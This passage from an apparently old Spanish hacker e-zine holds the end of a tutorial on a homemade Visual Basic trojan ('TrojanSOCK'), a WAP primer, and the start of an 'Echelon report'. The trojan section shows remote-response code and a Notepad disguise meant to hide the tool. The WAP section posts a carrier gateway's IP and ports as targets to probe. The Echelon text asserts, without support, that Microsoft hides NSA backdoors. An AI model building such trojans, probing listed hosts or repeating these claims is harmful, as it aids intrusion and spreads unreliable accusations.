Remoto.Text = "RESPUESTA DEL USUARIO/SERVIDOR:" + vbCrLf + Datos
'Si estamos guardando las cosas en un LOG, pues lo guarda.
If LOG = True Then
Print #1, "Respuesta del usuario: " + Datos
End If
End Sub
{PASO 4}
Naaaaaada mas. Se acabo por hoy. Me voy a descansar y ma~ana sigo escribiendo.
7.- ULTIMAS ACLARACIONES
Pues creo que ninguna, pero despues de dormir durante toda la noche me
apetecia escribir mas cosas, pero todavia no se me ha ocurrido nada. Pensaba
explicar mas codigo, pero es un c*~*z*, al menos para el que escribe. Ademas,
el resto del codigo, aunque necesario, es simple, y como es tan simple no lo
voy a explicar, esto no es curso de programacion basica, solo de uso del
winsock y sus aplicaciones, claro que si os empe~ais... (no lo hagais,
please) Bien, hagamos memoria . . . si, eso es, el notepad. Que para que
quiero la cosa esa? Pues muy simple. No se vosotros, pero yo de vez en cuando
pruebo estas cosas en el aula de informatica del instituto, y sinceramente,
paso de que el pringao del profesor me vea con esta clase de movidas. Asi que
un simple doble click, y tenemos nuestro trojansock transformado en un
rudimentario notepad. No le he puesto las funciones de notepad, como es
logico, no voy a hacer esas chorradas, es solo para disimular (Gracias por la
idea a mi cerebro :) ). Bueno, un doble click en la ventana y nos sale el
notepad, un click en Ayuda Acerca de Bloc de Notas y volvemos a nuestro
TrojanSOCK. Si a alguien le parece superfluo que me lo diga (o que
directamente lo quite antes de compilar).
8.- CONCLUSION
Supongo que ya os habreis dado cuenta todos de que este no es el mejor
troyano del mundo (ni muchisimo menos!) y que realmente su utilidad es muy
poca. No permite subir o descargar ficheros, no tiene ni un keylogger, y
desde luego es lento, pesado y necesita cientos de ficheros adjuntos, con lo
cual no es ni un minimo competidor con ningun otro troyano. Tambien como
vereis no permite trabajar con los ficheros remotos a ciegas, cosa que si
podria haber incluido pero no me parece buena idea meter una sola linea con
un Kill Fichero para que los lamers se dediquen a hacer el vandalo por ahi
con mi trabajo. De todas formas tampoco es la ilusion de mi vida dedicarme a
fabricar troyanos en visual basic, tan solo fue una idea basada en el texto
de Shisei Brujo (saludos). El caso es que con todo el rollo anterior lo que
quiero decir es que perdoneis los cientos de fallos que tendra el troyano, no
trabajo en esto y no es facil solucionar (y a veces encontrar) los bugs que
hay. De todas formas intentare mejorarlo y solucionar todos los problemas que
haya, tiempo al tiempo . . .
9.- DESPEDIDA
Pues eso, que me despido. Si alguien me quiere hacer una sugerencia, estoy
abierto a ellas, al igual que estoy abierto a todo tipo de criticas, pero si
son constructivas mejor que mejor.
Si alguien tiene alguna duda, o aportacion (sobre todo esto ultimo) que me la
mande que ya me ocupo yo de responder las posibles dudas que surjan, y en el
caso de aportaciones al TrojanSOCK vere si son incluibles (se escribe asi?
uh) o no, y si lo son las a~ado, haciendo una mencion al creador, por
supuesto.
SLAYER
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
*-***-*-***-*-***-*
534154414E204C41
55474853204153
20594F552045
5445524E41
4C5920524F54
*-***-*-***-*-***-*
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
-:: 07. WAP: ¿La Internet mas facil? (Introduccion a esta tecnologia) ::-
by krajeck
Introduccion
------------
Cuando empeze a escribir este informativo, WAP no estaba muy difundida en
Chile, pero como cada vez me fui atrasando mas, y llego hasta este momento
en que ya mucha gente la conoce y la utiliza, cosa que puede favorecer
al entendimiento de este escrito y al incentivo de investigacion por parte
del underground.
Lo unico que quiero con este escrito sobre WAP, tecnologia apasionante de
la que quiero aprender mas, es solo dar una nocion de lo que es y algo de
informacion. Tambien quiero insitar a estudiar y tratar de descubrir cosas
nuevas sobre WAP, cosas que nos pueden ayudar en nuestro desarrollo en la
informatica :)
El articulo no es muy extenso, una por razones de tiempo (paso menos tiempo
off line y al frente de mi chatarra de lo que pasaba el a~o pasado),
tambien porque no lo creo muy necesario (a buen entendedor pocas
palabras), por ser solo una introduccion a esta tecnologia.
¿Que es la sigla WAP?
---------------------
Para muchas personas las siglas WAP, no tienen ningun significado, pero cada
vez mas usuarios ocupan esta tecnologia, y mas empresas la desarrollan; ya
que facilita el acceso a datos y servicios a traves de aparatos moviles
(telefonos celulares, handhelds, palmtops y otros) por medio de la
Internet, o sea no se necesita de un computador conectado a la red para
poder acceder a los contenidos y servicios de la misma.
WAP (Wireles Application Protocol, por sus siglas en ingles) es el protocolo
para aplicaciones inalambricas.
Consiste en un conjunto de especificaciones, que se han desarrollado por
medio del WAP Forum y que permite la utilizacion del WML (Wireless Markup
Language) que es el lenguaje de marcas inalambrico, asi como de WBMP
(Wireless Bitmap) utilizado para graficos monocromaticos, permitiendo que
los desarrolladores dise~en aplicaciones de interconexion para dispositivos
portatiles.
Ojo, el WAP Forum es el que lleva los estandares, y la batuta, por decirlo
asi, del lenguaje que se desarrolla en WAP.
El Protocolo de Aplicaciones Inalambricas o Wireless Application Protocol
(WAP), esta causando "furor" dentro de las nuevas tecnologias de
comunicacion, ya que gracias a este protocolo de comunicacion se
estandarizan las formas de desplegar informacion dentro de aparatos moviles,
y amplia los beneficios que ofrece la web, a personas que no estan
acostumbrados a usar la red.
El principal atractivo de la tecnologia WAP es la bidireccionalidad e
interaccion de la comunicacion del usuario con cualquier sitio de la inet,
lo que nos puede favorecer para poder hacer algo ahi, no :). Ojo lo que
acabo de decir, de lo que es WAP, no es lo mismo que ofrecian antes las
empresas de telefonia movil, lo que era solo mensajeria corta, o sea solo se
leia el contenido que los proveedores querian que leyeran los usuarios, y
que estaban previamente definidos, y en ellos el usuario no tenia
participacion alguna.
El desarrollo en Internet
-------------------------
Un ejemplo claro de la aplicacion de esta tecnologia es el anuncio de
Amazon.com de la adaptacion de su web para que los usuarios de dispositivos
moviles puedan tener acceso a sus contenidos, lo que representa una
importante ampliacion de su negocio ya que para vender sus libros y otros
articulos ya no es requisito que el comprador este frente a una computadora
conectada a la red, sino que basta con que oprima un par de teclas en su
aparato movil y la operacion es realizada. Ya en Chile hay empresas de
telecomunicaciones que estan desarrollando la navegacion en celulares, como
es el caso de Telefonica, Smartcom y Entel, todos han firmado alianzas
estrategicas con otras empresas para que desarrollen esta tecnologia en sus
sitios.
WAP, esta llegando fuerte en toda latinoamerica, con mas desarrolladores y
usuarios, pero para mi gusto es bastante dificil que erradique a los PCs,
porque en los computadores se pueden realizar muchas mas funciones y son mas
vistosos para los usuarios comunes.
Normalmente los sitios WAP son http://wap.dominio.com, como es el caso de
wap.yahoo.com, wap.entelpcs.cl, wap.amazon.com, wap.latercera.cl, y muchos
otros.
WML, codigo de hipertexto
-------------------------
En el web se utiliza el HTML para desplegar toda la informacion de los
sitios, pero en el caso de los equipos que esten conectados con la
tecnologia WAP, se utiliza un codigo llamado WML, que se adecua a las
limitaciones que poseen los aparatos en el que se despliega la informacion,
que son mucho mayores que las de un navegador y computador tradicionales; es
diferente una pantalla de 14 o 16 pulgadas, que una enana de un celular o un
Palm. Obviamente el WML no es tan vistoso como el HTML, por las limitancias
que ofrecen los lugares en que se despliega.
Para aprender el codigo de hipertexto WML, se necesitan conocimientos
basicos en la creacion de paginas web y en la programacion en java script,
pero lamentablemente la informacion en castellano, como tutoriales y esas
cosas, es escasa. Ya estan en Internet programas gratis para desarrollar
estas tecnologias como el Web Site Editon y otros, que son todos de bastante
utilidad. Vale decir que la informacion en castellano es bastante escasa.
Todo depende de la pantalla
---------------------------
En este protocolo (WAP), todo depende de la medida de la pantalla en que se
despliegan los contenidos, por ejemplo es totalmente diferente en un celular
tradicional la presentacion de los contenidos (pantalla bastante peque~a)
que en un PALM, porque la pantalla del PALM es mucho mas grande y por lo
tanto se pueden reproducir mas lineas de texto, e imagenes.
Para que los dispositivos reproduzcan esta tecnologia deben correr sobre
sistemas operativos creados para tales efectos como lo son WindowsCE, el
PalmOS, y otros. En el caso de del PalmOS, viene incluido en todos los Palm,
y el WindowsCE (Micro$oft siempre metido), y tambien en la mayoria de los
telefonos moviles digitales (nokia, ericcson, motorola y otros mas).
¿Como funciona?
---------------
La forma de ingresar a la red es sencilla: se origina la llamada, la que se
direcciona hasta un computador (un compresor de datos o algo asi), que se
llama Gateway WAP, donde la informacion es comprimida para optimizar el
ancho de banda por donde viaja la informacion. Este lo saca de la Inet y lo
manda al destinatario, que por ejemplo seria un telefono movil con
tecnologia WAP.
Lo que anteriormente nombre como Gateway WAP, y lo de Internet, serian
como dos servidores (eso en la practica), el servidor llamado Gateway, es el
que optimiza la info del otro server (Internet), para que sea visto por un
aparato movil.
Lo anterior seria como algo asi:
/______________ ===============
====================== \ = Internet =
===== Gateway WAP ==== ______________\ = =
====================== / ===============
= Compresor de datos =
= optimizacion de = _______________________________\ /\ Real Movil (antena)
= ancho de banda = / / \
====================== /______________________________ / \
\ |______|
__ | | | |
|| ((((((((((((((((((((((((((((((((((((((((((((((((((( | | | |
||____ | | | |
| | ____________________________________________\ | | | |
|_____| / | | | |
| | /___________________________________________ | | | |
| | \ | | | |
|_____| ========
Terminal movil
(telefono celular)
Por lo menos en el caso del servicio ofrecido por Entel PCS es de 9.6 kbps,
pero la velocidad con que se conecta el usuario es de 14.4 kbps, esto
gracias a la intervencion del Gateway WAP
Componentes importantes del WAP
-------------------------------
WAP esta formado de una serie de capas, por decirlo asi, cada una con su
funcionaldad especifica:
*ENTORNO INALAMBRICO DE APLICACION (WAE)
*PROTOCOLO INALAMBRICO DE SESION (WSP)
*PROTOCOLO INALAMBRICO DE TRANSACCIONES (WTP)
*PROTOCOLO INALAMBRICO DE TRANSPORTE SEGURO (WTLS)
*PROTOCOLO INALAMBRICO DE DETAGRAMAS (WDP)
*Otros servicios y aplicaciones
*Entorno inalambrico de aplicacion (WAE):
Son las siglas de Wireless Application Environment, es como una combinacion
entre el WWW y las tecnologias moviles. Esto incluye el decodificador
(Gateway), en el que se utiliza el WML (del que ya hable), el WMLscript, el
WBMP que es para las imagenes y otros formatos que se ocupan de lo que
seria las cuentas de los usuarios, su info y agendas personales.
*Protocolo Inalambrico de Sesion (WSP):
En ingles se llama Wireless Session Protocol, proporciona en si dos
servicios, la primera es que ordena la coneccion que funciona sobre el
protocolo que le sigue (WTP), y como segundo en el funcionan detagramas
seguros y no seguros que van por encima del WDP.
*Protocolo Inalambrico de transacciones (WTP):
Aqui existen, lo que se podria llamar como detagramas seguros y no seguros,
estan la peticion insegura de una via de comunicacion, la peticion segura de
una via de comunicacion, y la transaccion de dos vias de manera segura, todo
esto de forma ovbia es para la peticion de informacion por parte del usuario
al server y del server al usuario, de forma segura y no segura.
*Protocolo Inalambrico de transporte seguro (WTLS):
Proporciona seguridad a la transferencia de datos, esta dise~ado
especialmente para un ancho de banda peque~o, esto le da seguridad y
autenticidad al servicio WAP, es utilizado para el comercio electronico
gracias a su seguridad.
*Protocolo Inalambrico de Detagramas (WDP):
Se ocupa de que funcionen los protocolos anteriormente mencionados, y que su
funcionamiento sea lo mas espedito posible.
*Otros servicios y aplicaciones:
Serian todas las otras cosas que no mencione anteriormente como servicios de
la tecnologia WAP.
Caracteristicas del primer Gateway WAP publico chileno
------------------------------------------------------
A continuacion les dare las caracteristicas del primer Gateway WAP publico
que esta operando en Chile, a ver que se les ocurre con esta informacion,
quizas algo que yo no haya pensado todavia :)
Las caracteristicas del GateWay son las siguientes :
*Modo no orientado a la conexion, no segurizado, modo transaccional
- WDP/WSP en la puerta 9200
*Modo orientado a la conexion, no seguro, modo transaccional - WDP/WTP/WSP
en la puerta 9201
*Modo no orientado a la conexion, seguro, modo transaccional - WDP/WTLS/WSP
en la puerta 9202
*Modo orientado a la conexion, seguro, modo transaccional - WDP/WTLS/WTP/WSP
en la puerta 9203
*Acceso por medio de Internet al GateWay
*Acceso Telefonico (En Segunda Etapa)
¡Ademas de soporte para transacciones seguras mediante https , Secure
Sockets Layer (SSL)!
~~ Por lo que pude ver hace poco, el IP del server que interactua con el
Gateway WAP era 200.29.18.110
Tambien aqui les va el listado de emuladores y telefonos WAP que soporta,
obviamente no estan todos, pero son bastantes:
1. Motorola, Mobile ADK v1.1
2. Phone.com SDK v4.0
3. Ericsson WAPIDE SDK v2.1 (R320 y R380)
4. Nokia SDK v1.3b (7110) o 2.0
5. Nokia 7110
6. Ericsson R320
7. Siemens s35i
8. WinWap Pro
9. Ezos
Despedida
---------
Bueno hasta aqui llego mi entrega de info sobre WAP, ojala les haya gustado,
y les haya aclarado un poco la pelicula, si no les gusto, bueno cosa de
ustedes, porque no mejor se ponen a escribir articulos ustedes mismos y nos
ense~an como se escribe de verdad y con buen contenido.
Ya saben la invitacion esta hecha, investigen, lean, informense y escriban
articulos para la difucion de la investigacion de WAP y cualquier otro tema
de la informatica, que tan apasionante es.....
Por cualquier duda, consulta, puteada o correccion de este escrito, sirvase
escribir a:
Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
Mi proxima entrega sera mas extensa, es como la continuacion de este
escrito, en el que hablare sobre el futuro de WAP, y sus posibles sucesores,
que cambiaran la Inet movil y la haran parecida a la de los PCs, y el
funcionamiento de esos sucesores
Bibliografia: www.wapforum.com (dirige los estandares de WAP)
www.chilewap.cl
www.wap.com
BBBBBB.kuma.Kon (pagina de Charlie)
:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:
-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-:-
..--:: 08. El Informe Echelon ::--..
by Zagato
ZZZZZZZZZZZZZZZZZZZZ
ZZZZZZZZZZZZZZZZZZZZ
ZZZZZZZ
ZZZZZZZ
THE ZZZZZZZ
ZZZZZZZ
ZZZZZZZZZZZ
ZZZZZZZZZZZ
ZZZZZZZ
ZZZZZZZ FILES
ZZZZZZZ
ZZZZZZZZZZZZZZZZZZZ
ZZZZZZZZZZZZZZZZZZZ
EL INFORME ECHELON
Creado, dirigido, redactado, investigado, y muchos mas *.do por: ZAGATO
Bueno... Saludos, nobles viajeros... Estaba yo entregado a aburridas
meditaciones, una calurosa tarde veraniega, cuando pense en escribir este
articulo. La principal motivacion, si descartasemos al ya nombrado
aburrimiento, era sencilla... Algun tiempo atras habia investigado
relativamente grandes cantidades de informacion sobre ECHELON, pero tener
gran cantidad de paginas web, con sus correspondientes imagenes, en mi
humilde disco rigido de 2gb era algo molesto, no solo en cuanto a espacio (ya
que tampoco ocupan tanto) sino al caos que reinaba en el directorio donde las
mantenia almacenadas... Entonces fue que se me ocurrio la idea de crear un
informe que mantuviera toda la informacion importante sobre el tema en un
peque~o .txt, y donde pudiera acceder a dichos datos sin buscar en un mar de
directorios lo que deseaba consultar... Asi que con paciencia, cafe, iron
maiden, y la banda sonora de MK-Rayearth como unicas compa~ias, nacio este
humilde documento sobre lo que ahora navegan vuestras miradas...
Solo una peque~a nota aclaratoria antes de comenzar... Gran parte de este
texto NO son escritos mios, sino transcripciones y traducciones de reportes
de comisiones investigadoras apadrinadas por los gobiernos europeos,
agrupaciones cientificas, y otras fuentes como la oficina de patentes de los
EUs... Quedais advertidos para que no me inundes despues la cuenta de mail
con mensajes del tipo "Que Lamer!!! Lo unico que hiciste fue copiar!!!", mas
porque tampoco fue eso lo unico que hice... hay partes del texto que SI son
de mi autoria, y la informacion que NO lo es esta ordenada de forma que sea
facilmente comprensible por cualquier ser viviente con un IQ mayor que el de
una ameba... Y, porque no me dedico a plagiar trabajos agenos, al final del
informe iran todas las URL de donde extraje la informacion, para que
profundiseis mas en el tema por vuestra propia cuenta...
Y una peque~a dedicatoria... Serena, mi amada rosa invernal, mi dulce
princesa Esmeralda, esto, como todo aquello que hago, va dedicado a ti, que
me rodeas con el aura de tu dulzura y calidez... Gracias, Serena, por ser
como eres!!!
Ahora si... me despido de vosotros y les dejo con el informe, antes de que
los aburra lo suficiente como para que odien a este escritor y under
novato... Au-revoir...
*****************************************************************************
Muchos de ustedes ya deben haber oido hablar de ECHELON, otros no. De los
que si lo conocen, muchos deben haber buscado informacion sobre el, con
resultados tanto buenos como malos. El objetivo de este informe no es
demostrar nada, ni poner en sus manos informacion clave, sino introducir, a
aquellos que no poseen conocimiento de esta amenaza, al tema en cuestion, y
ofrecerles a todos ustedes (tanto conocedores del tema como a aquellos que no
tienen ni idea de que se trata) el resultado de mis investigaciones sobre
ECHELON.
Pero, para aquellos que no saben de que estoy hablando, comenzemos por el
principio...
ECHELON es un termino que identifica a un sistema de intercepcion global de
informacion operado por, al menos, las agencias de inteligencia de cinco
naciones: Estados Unidos, El reino Unido, Australia, Canada, y Nueva Zelanda.
Existen rumores de otras naciones involucradas, pero las, en cierta forma,
confirmadas son estas cinco que he nombrado. El mando de el Proyecto ECHELON
pertenece, principalmente, a la NSA (la agencia de seguridad nacional de los
Estados Unidos), quien cordina sus acciones con otras agencias de
inteligencia en base al Acuerdo UKUSA, del que ya hablare mas tarde. De
acuerdo a varios informes (provenientes de fuentes de diversos niveles de
credibilidad) el ECHELON original data de 1974, aunque sus funciones,
capacidades, y prioridades han sido presa de multiples mejoras desde
entonces. De acuerdo a dichos informes, ECHELON seria capaz de interceptar
muchos (sino todos) los patrones de diversas formas de comunicacion sobre el
globo, para luego procesarlos en busca de ciertos grupos de datos que
significarian un peligro para sus creadores, o que les brindarian una
importante ventaja, tanto militar, politica, cientifica o economica.
Aparentemente, ECHELON tiene la capacidad de interceptar dichos datos de muy
diversas formas. Se utilizarian complejos sistemas de antenas, redes
satelitales, dispositivos de monitoreo de lineas telefonicas, "Sniffers"
ocultos por toda la extension de la Red, y software automatizado de busqueda
para localizar sitios web de relativa importancia. En 1982 fue encontrado, en
las lineas telefonicas submarinas, un pequeno dispositivo para "Pinchar"
dichas lineas, lo que sugiere la existencia de una indeterminada cantidad de
interceptores de comunicaciones telefonicas, tanto en las lineas submarinas
como en lineas normales. Segun algunos reportes, ademas, las naciones
pertenecientes al Proyecto ECHELON entrenarian agentes especiales con la
funcion de instalar y controlar dispositivos de alta tecnologia destinados a
recolectar informacion para ECHELON. Esta informacion, recolectada a traves
de todos los sistemas de comunicacion y transmision de datos existentes en el
mundo actual, seria clasificada y analisada por una (o varias) I.A, con la
ayuda de un sistema llamado DICTIONARY, una red formada por una desconocida
cantidad de computadoras de ultima generacion creadas con el proposito de
acumular, comparar, y descifrar la informacion interceptada.
Los Estados Unidos han negado, desde que comenzase a circular la escasa
informacion sobre este proyecto, su existencia, a pesar de que los gobiernos
de Australia y Nueva Zelanda hayan admitido este hecho. El Parlamento Europeo
ha, hasta la fecha de hoy, apadrinado dos investigaciones que intentasen
descubrir los objetivos y las herramientas disponibles para ECHELON. A pesar
de que al principio estos reportes enfocaban las actividades de ECHELON como
una forma de controlar las actividades civiles, investigaciones recientes han
sacado a la luz una indeterminada cantidad de pruebas que sugieren que las
habilidades y funciones de ECHELON habrian sido seriamente subestimadas. Un
reporte mas reciente indicaria que ECHELON seria utilizado para Espionaje
industrial, politico, economico, cientifico, militar, y como un medio para
obtener importantes ventajas en esos campos, asi como proveer informacion
para sabotaje economico e ingenieria politica. Actualmente, los paises
europeos han creado varias comisiones de investigacion dedicadas
exclusivamente a descubrir los medios por los que ECHELON seria una amenaza,
y poner en practica operaciones de contra-inteligencia, asi como una seria de
planes y contramedidas, tanto electronicas como fisicas, para evitar una
mayor amenaza. El Ex-Presidente Clinton emitio una ley de fondos que
permitiria al gobierno mantener bajo control proyectos como ECHELON, pero el
subsecuente reporte de la NSA le brindo poca, sino ninguna, informacion sobre
el asunto... Pero, desde el momento en que la CIA y otras agencias de
inteligencia de varias naciones se encuentran involucradas, es dificil creer
que los gobiernos de sus respectivas naciones puedan ser algo mas que meras
marionetas bajo su control... O simples "Voceros de Prensa". Pero, nada
termina aqui... Uno de los informes apadrinados por el gobierno frances
habria descubierto que, agentes de inteligencia del Proyecto ECHELON,
estarian introducidos dentro de Microsoft (puede ser que no dejen de meterse
en nada?), introduciendo peque~os subsistemas en sus programas, facilitando
la deteccion, recuperacion y analisis de toda accion realizada en nuestros
sistemas... O sea, la NSA de los states tendria acceso no solo a lo que
enviamos por la red, sino a logs de lo que ocurre en nuestros sistemas (y
nosotros preocupandonos por esos bastardos de Aureate)... Sobre este asunto
(Mocosoft en relacion a Echelon) volveremos luego...
Bueno... Hasta aqui, la introduccion. En este punto, algunos de ustedes deben
pensar que he sucumbido a la locura, victima de infinidad de teorias
conspiratorias y grandes dosis de William Gibson, George Orwells, y X
Files... Pero, aunque paresca extra~o, e increible, esto es lo que he
encontrado... IAs, servicios de inteligencia, agentes especialmente
entrenados para operacion e instalacion de equipos de ultima generacion,
programas automatizados, y grandes redes de computadoras creadas para
almacenar los analisis de ECHELON. Puede parecer el resultado de un demente
sin cura, pero esto es solo el comienzo...
Pero... La pregunta seria... Cuentan con la suficiente tecnologia como para
hacer algo asi. Mmmmm, bien. Esto es algo que he encontrado al respecto.
En la oficina de Patentes y marcas registradas de Estados Unidos, bajo el
Nro.5,418,951, se encuentra algo de informacion relacionada con esta
pregunta. En la seccion de "Trasfondo de la invencion" puede leerse:
1- Campo de la invencion
Esta invencion trata de un metodo de recuperacion de documentos, y mas
especificamente, de un metodo de recuperacion de documentos capaz de busqueda
completa de textos sin la necesidad de palabras clave o informacion
contextual. Este metodo puede ser utilizado para localizar, recuperar y
ordenar documentos por tema o lenguaje. Este metodo es tambien util para
identificar, recuperar y ordenar cualquier tipo de comunicacion, ya sea esta
acustica o simbolica, mientras pueda ser representada en un formato
comprensible para el sistema.
En otras sub-secciones puede leerse:
En un articulo publicado por R. Colin Johnson, en el Electronic Engineering
Times del 17 de Febrero de 1992, era indicado el extenso esfuerzo de
investigacion que era gastado en encontrar mejores maneras de buscar bases de
datos textuales para recuperar documentos de importancia para el usuario.
En un articulo publicado por G. Salton en Sciense (volumen 253, 30 de agosto
de 1991), se indica que el analisis de texto es un problema debido a que
existe una necesidad de retirar solo los documentos de interes de grandes
bases de datos. La solucion a este problema seria generar identificadores de
contenido. (...) Dichos sistemas de recuperacion son definidos como Sistemas
de recuperacion de texto completo.
Se nombran, tambien, algunas otras patentes que, a pesar de no haber podido
investigarlas, parecen referirse a:
Patente Nro. 5,020,019, titulada "Sistema de recuperacion de documentos. Es
describido un sistema que busca documentos utilizando palabras claves
mientras aprende, caracteristica que le permite al usuario asignar peso a las
diferentes palabras clave en respuesta al resultado de la busqueda anterior.
Patente Nro. 4,985,863, titulada "Almacenamiento y recuperacion de
documentos". Es describido un metodo donde los documentos son almacenados en
secciones. Secciones de texto, en lugar de palabras clave, son entonces
utilizadas para recuperar documentos similares.
Patente Nro. 4,849,898, titulada "Metodo y aparato para identificar la
relacion de significado entre palabras en expresiones textuales". Se describe
un metodo que utiliza un analisis semantico de palabras de un documento para
poder determinar cuales de estas palabras significan una misma cosa. Este
metodo es utilizado para recuperar documentos o porciones de documentos que
tratan del mismo topico que las palabras clave.
Patente Nro. 4,823,306, titulada "Systema de busqueda de texto". Describe un
metodo que genera sinonimos de palabras clave. Diferentes valores son
entonces asignados a cada sinonimo para guiar la busqueda.
Patente Nro. 4,358,824, titulada "Almacenamiento y recuperacion de
correspondencia de Oficina". Se describe un metodo que reduce los documentos
a abstraciones grabando las palabras clave usadas en cada documento. Las
palabras clave son entonces utilizadas para buscar los documentos de interes.
Cabe aclarar que este documento pone mucho enfasis en remarcar que el sistema
en cuestion no utiliza ninguno de los sistemas anteriores de busqueda y
recuperacion.
Luego, refiriendose a esta patente en particular, puede leerse:
Sumario de la invencion
Es un objetivo de esta invencion proveer un metodo de identificar el lenguaje
en que un documento dado esta escrito. Es otro objetivo de esta invencion
proveer un metodo de recuperar documentos, en un lenguaje particular, de
bases de datos, por tema. Es otro objetivo de esta invencion proveer un
metodo de ordenar documentos en una base de datos por lenguaje. Es otro
objetivo de esta invencion proveer un metodo de ordenar documentos en una
base de datos por tema.
Y sigue diciendo:
Estos objetivos son alcanzados por una nueva aproximacion a la
identificacion, recuperacion y clasificacion de documentos. El termino
documentos se refiere a texto, sonido, o graficos coomprensibles por la
maquina. La presente invencion usa una tecnica de reconocimiento de patron
basada en comparaciones N-Gram entre documentos mientras permite una
reduccion en requerimientos de memoria (al ser comparada con los metodos de
palabra clave y diccionario) y un incremento en la performance. El usuario
puede configurar el concepto utilizado para determinar cuando varios
documentos son similares.
JEJE... Y lo mejor viene ahora...
El metodo de la presente invencion puede ser facilmente implementado en
cualquier lenguaje de programacion o en Hardware para cumplir las tan
dificiles tareas de identificar el topico de un documento, aun si estos
documentos estan escritos en lenguajes ideograficos como el Japones. Este
metodo puede tambien ser usado para clasificar documentos en una base de
datos como diferentes categorias sin la necesidad de identificacion de las
categoria o documentos contenidos alli.
En vez de confiar en palabras clave, tablas de sinonimos o informacion
contextual, los objetivos de la presente invencion son cumplidos mediante una
tecnica de reconocimiento de patron. La presente invencion se basa en la
hipotesis de que documentos que son similares en lenguaje y/o topico lucen
similares, en que tienden a contener varios de los mismo n-grams
(consecutivas apariciones de un caracter N). Ellos son similares no solo en
palabras clave sino en todas las palabras utilizadas. La hipotesis sugiere la
conclusion de que el topico de un documento puede ser confiablemente deducido
por enumerando los N-Grams contenidos en el, y comparando el resultado de
dicha operacion con los N-Grams enumerados en otro documento de referencia.
Ejemplos conocidos de textos en diferentes lenguajes y topicos son
almacenados como documentos de referencia. No hay ninguna restriccion en la
forma que estos documentos de referencia pueden tomar. Texto de cualquier
origen puede ser utilizado. El numero de documentos de referencia y n-grams
contenidos en estos documentos deben ser estadisticamente significativos en
tama~o. Ha sido empiricamente determinado que para identificacion de lenguaje
se necesitan aproximadamente diez documentos, cada uno conteniendo
aproximadamente mil caracteres. Para identificacion de topico dentro de un
lenguaje particular, que es una distincion mas exacta que la identificacion
de lenguaje, aproximadamente cincuenta documentos de las mismas
caracteristicas.
Los documentos de referencia son cambiados a N-grams. Esto se logra creando
una lista separada, para cada documento de referencia, de todos los unicos n
grams que aparacen en el documento de referencia (donde N es tipicamente
convertido a algun valor, como N=5). El documento no identificado es tambien
convertido en una lista de unicos N-grams.
Pesos son asignados a cada unico N-gram. El peso es determinado por la
relativa frecuencia de ocurrencia de cada n-gram en ese particular documento
de referencia (el numero de veces que un N-gram aparece en un documento de
referencia, dividido por el total agregado de todas las apariciones de N
grams dentro de ese documento de referencia.). Pesos son asignados a cada N
gram en cada documento de referencia y a cada N-gram en el documento no
identificado.
Lo normal dentro de los documentos de referencia es entonces removido de los
documentos de referencia y del documento no identificado. Esto se logra al
listar los N-grams unicos entre los documentos de referencia. En segundo
lugar, un peso normal es asignado a cada unico n-gram del documento de
referencia, basado en la frecuencia relativa de ocurrencia (la suma de los
pesos individuales de ese n-gram para todos los documentos de referencia,
dividido por el numero total de documentos de referencia) El peso de
normalidad de cada n-gram es entonces sustraido del peso de su
correspondiente n-gram, dentro de cada documento de referencia, y del peso de
su correspondiente n-gram dentro del documento no identificado.
El documento no identificado es entonces comparado a cada uno de los
documentos de referencia. Esto se logra comparando el puntaje del documento
no identificado contra cada uno de los documentosde referencia. La puntuacion
del documento no identificado con respecto a un documento de refencia indica
el grado de similitud entre ambos documentos.
Despues prosige con ejemplos de dicho proceso... Pero creo que en este punto
todos sabemos que hace, y como... Bueno... Creo que esta parte ha sido
bastante clara... Existe otro numero de patente que tengo que revisar, y que
pienso agregar en cuanto pueda accesarla (todos los links que haye hasta
ahora estan defectuosos)
Recordemos lo que dije al principio... Sobre Microsoft y su colaboracion al
proyecto... Para entender mejor esto, recordemos lo que ocurrio con Aureate.
Para los que no esten informados de esto, puedo decirles que una compania
llamada Aureate, conocida por agregar banner propagandisticos en versiones
shareware de programas que pueden ser bajados de la red, instalaria, junto
con estas versiones Shareware, un peque~o programa llamado AureateSpy, que
agrega archivos en nuestro sistema Winbugs que envian informacion sobre
nuestras visitas a la web y lo que se encuentra en nuestras maquina a gente
de Aureate, que supuestamente la utilizaria para generar un "Informe de
Mercado" (no les hubiera resultado mas sencillo realizar una encuesta de
mercado?)... Ahora consideremos un momento el asunto... si una empresa de
software no demasiado poderosa puede agregar un sistema similar en nuestros
sistemas, consideremos lo que Mocosoft podria realizar... Ni siquiera tendria
que instalar archivos de relativa sencillez de deteccion, pues los codigos
nesesarios estarian introducidos en el codigo fuente de su Pseudo-SO...
Ademas, si sumamos heste echo a que podrian, con suma sencillez, crear
programas que facilitaran la recuperacion de dicha informacion (al fin y al
cabo, ellos son los unicos en comprender completamente el funcionamiento de
este engendro...), tenemos que Si trabajan en conjunto con la NSA, dicha
agencia tendria facil acceso a todo loque ocurre en nuestros sistemas... Cada
programa que instalamos, cada archivo que bajamos, cada publicacion
electronica que leemos, cada modificacion de registro, cada conexion a la
red, cada cosa que decimos y hacemos en ella... Para los que lo dudaban,
Aureate ha demostrado que eso era extremadamente sencillo de realizar... Asi
que, alguien duda que escondido en sus varios miles de lineas de codigo
microsoft halla ocultado algo similar?... Yo creo que es ovbio que, aunque no
lo usaran junto a la NSA, Billy lo haria... Y si la NSA agrega un cheque de
por medio, o algun "beneficio" con respecto a la ley de monopolios... Bueno,
tenemos a Gates, Bill Gates, agente especial de la NSA... Ademas, y
considerando que la mayor parte de los sistemas mundiales de informacion
utilizan software microsoft, ya sea para operar sus sistemas, administrar sus
redes, crear sus webs, y proteger sus sistemas (Des-proteger sus sistemas?),
tendriamos Bugs puestos a conciencia, backdoors ocultas en el sistema
operativo, Y firewalls que impiden el acceso de un intruso, pero no
consideraria a un intruso a gente de Microsoft y la NSA... Interesante...
Sobre todo si consideramos que el informe que nombre tambien afirma que
